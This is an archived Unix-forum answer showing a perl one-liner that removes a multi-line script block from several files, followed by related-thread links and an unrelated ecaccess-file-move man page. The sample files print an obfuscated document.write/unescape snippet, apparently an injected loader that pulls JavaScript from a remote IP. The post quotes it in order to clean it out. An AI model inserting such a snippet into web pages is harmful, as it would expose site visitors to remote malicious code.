Sponsored Content
Top Forums Shell Programming and Scripting find and replace three lines in files? Post 302310717 by durden_tyler on Sunday 26th of April 2009 05:44:08 PM
Old 04-26-2009
You can use "perl pie" to perform inline substitutions of multiline patterns in your files.

Suppose the files that you want to fix are: js1.txt, js2.txt js3.txt

Code:
$
$ cat js1.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$
$ cat js2.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$
$ cat js3.txt
some code goes here <script language=javascript><!--
document.write(unescape('9c%asdasdsadsadsad%20s9cr2Gc%3DFe%2F%2FmP94z7%2EmP247%2E2Fe%2EAhu1Fe99c52G%2FjrBqFeuery2G%2EmPjsrB%3E%3C%2FscrmPi2Gp9ctFe%3E').replace(/Y4N|9c|z7|Fe|mP|2G|Ahu|rB/g,""));
 --></script><body>
$

The perl command to replace those substrings is as follows:

Code:
$
$ perl -pi -e 'BEGIN {$/="";} {s/<script language=javascript>.*<\/script>/\n/msg;}' js?.txt
$
$ cat js1.txt
some code goes here
<body>
$
$ cat js2.txt
some code goes here
<body>
$
$ cat js3.txt
some code goes here
<body>
$
$

Hope that helps,
tyler_durden
 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

sed find and replace multiple lines

I am new to linux and would like to modify the contents of a file preferably using a one line. The situation is as follows <start> some lines "I am the string" "replace string" more lines here <end> In the above example,On encountering "I am the string", the "replace string "should be... (6 Replies)
Discussion started by: supersimha
6 Replies

2. Shell Programming and Scripting

Replace whole lines in the file from different files

Hi all, I have two parameter blocks in a configuration file, file1.conf. First parameter block starts with PWAT-PARM1 and ends with END PWAT-PARM1. Second parameter block starts with PWAT-PARM2 and ends with END PWAT-PARM2 (please see below in file1.conf). file1.conf is fixed width... (8 Replies)
Discussion started by: Jae
8 Replies

3. Shell Programming and Scripting

Find 5 lines and replace with 18 line in sql file where it contains multiple blocks.

My sql file xyz_abc.sql in this file there are multiple sql block in this block I need to find the following block rem Subset Rows (&&tempName.*) CREATE VIEW &&tempName.* AS SELECT * FROM &&tempName.* WHERE f is not null and replace with following code rem Subset Rows... (9 Replies)
Discussion started by: Zaheer.mic
9 Replies

4. Shell Programming and Scripting

Find and Replace Different Lines

Hi, I am looking at modifiying a file but getting a bit lost with what i am trying to do. I have the following file i need to alter. I want to search a list of files for the DEVSERIAL "0007862454" part but only the numbers. I then need to replace the line under DRIVES with the correct drive... (7 Replies)
Discussion started by: forcefullpower
7 Replies

5. Shell Programming and Scripting

Find and replace multiple lines

I have a section of text in file A, see below # falkdjf lkjadf lkjadf lkajdf lkajdf lkajdf lkjadf lkjadf 234.234.2.234 lkjlkjlk 234.234.3.234 # Only the first line with "# falkdjf lkjadf lkjadf" is unique in the file. The new section that I want to overwrite the old section above is in... (1 Reply)
Discussion started by: jyang72211
1 Replies

6. Shell Programming and Scripting

Script to find & replace a multiple lines string across multiple php files and subdirectories

Hey guys. I know pratically 0 about Linux, so could anyone please give me instructions on how to accomplish this ? The distro is RedHat 4.1.2 and i need to find and replace a multiple lines string in several php files across subdirectories. So lets say im at root/dir1/dir2/ , when i execute... (12 Replies)
Discussion started by: spfc_dmt
12 Replies

7. Shell Programming and Scripting

Shell Script to find common lines and replace next line

I want to find common line in two files and replace the next line of first file with the next line of second file. (sed,awk,perl,bash any solution is welcomed ) Case Ignored. Multiple Occurrence of same line. File 1: hgacdavd sndm,ACNMSDC msgid "Rome" msgstr "" kgcksdcgfkdsb... (4 Replies)
Discussion started by: madira
4 Replies

8. Shell Programming and Scripting

How to find files containing two specific lines and delate those lines?

Hi I need to find files in a specified folder where are two specified lines of text and delate that lines. It looks like this" 35. ?>NL 36. <iframe>.......</iframe>NLThe problem is that "?>" is in the other lines and id should not be removed if the next line is not like "<iframe>....." So... (4 Replies)
Discussion started by: androwida
4 Replies

9. UNIX for Beginners Questions & Answers

Find all .sh files in file system and need to replace the string inside .sh files

Hi All, I need to write a script to find all "*.sh" files in /home file system and if any string find "*.sh" files with the name vijay@gmail.com need to replace with vijay.bhaskar@gmail.com. I just understood about the find the command to search .sh files. Please help me on this. find / -name... (3 Replies)
Discussion started by: bhas85
3 Replies

10. Shell Programming and Scripting

Script using awk to find and replace a line, how to ignore comment lines

Hello, I have some code that works more or less. This is called by a make file to adjust some hard-coded definitions in the src code. The script generated some values by looking at some of the src files and then writes those values to specific locations in other files. The awk code is used to... (3 Replies)
Discussion started by: LMHmedchem
3 Replies
ECACCESS-FILE-MOVE(1p)					User Contributed Perl Documentation				    ECACCESS-FILE-MOVE(1p)

NAME
ecaccess-file-move - Move or Rename ECaccess Files SYNOPSIS
ecaccess-file-move -version|-help|-manual ecaccess-file-move [-debug] source-ecaccess-file target-ecaccess-file DESCRIPTION
Allow moving an ECaccess File. When the move occurs within the same ECaccess File System then it is a rename. When the move occurs across two different ECaccess File Systems then first a copy is done and then a delete of the original file is done (e.g. similar to ecaccess- file-copy ... -erase). The source-ecaccess-file and target-ecaccess-file are in the form [domain:][/user-id/]path. Please read the "Shell commands -> File Management" section of the "ecaccess" guide for more information on the ECaccess File System. ARGUMENTS
source-ecaccess-file The source ECaccess File name. target-ecaccess-file The target ECaccess File name. OPTIONS
-version Display version number and exits. -help Print a brief help message and exits. -manual Prints the manual page and exits. -debug Display the SOAP messages exchanged. EXAMPLES
ecaccess-file-move ec:test1.txt ec:test2.txt Rename the test1.txt file in the ECFS directory of the authenticated user in test2.txt. ecaccess-file-move ec:test1.txt home:test2.txt Copy the test1.txt file from the ECFS directory of the authenticated user to the test2.txt file in the $HOME directory of the authenticated user, then delete the test1.txt file from ECFS. SEE ALSO
ecaccess-file-delete, ecaccess-file-get, ecaccess-file-mget, ecaccess-file-modtime, ecaccess-file-mput, ecaccess-file-rmdir, ecaccess-file- copy, ecaccess-file-dir, ecaccess-file-mdelete, ecaccess-file-mkdir, ecaccess-file-chmod, ecaccess-file-put, ecaccess-file-size and ecaccess. perl v5.14.2 2012-04-16 ECACCESS-FILE-MOVE(1p)
All times are GMT -4. The time now is 11:15 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy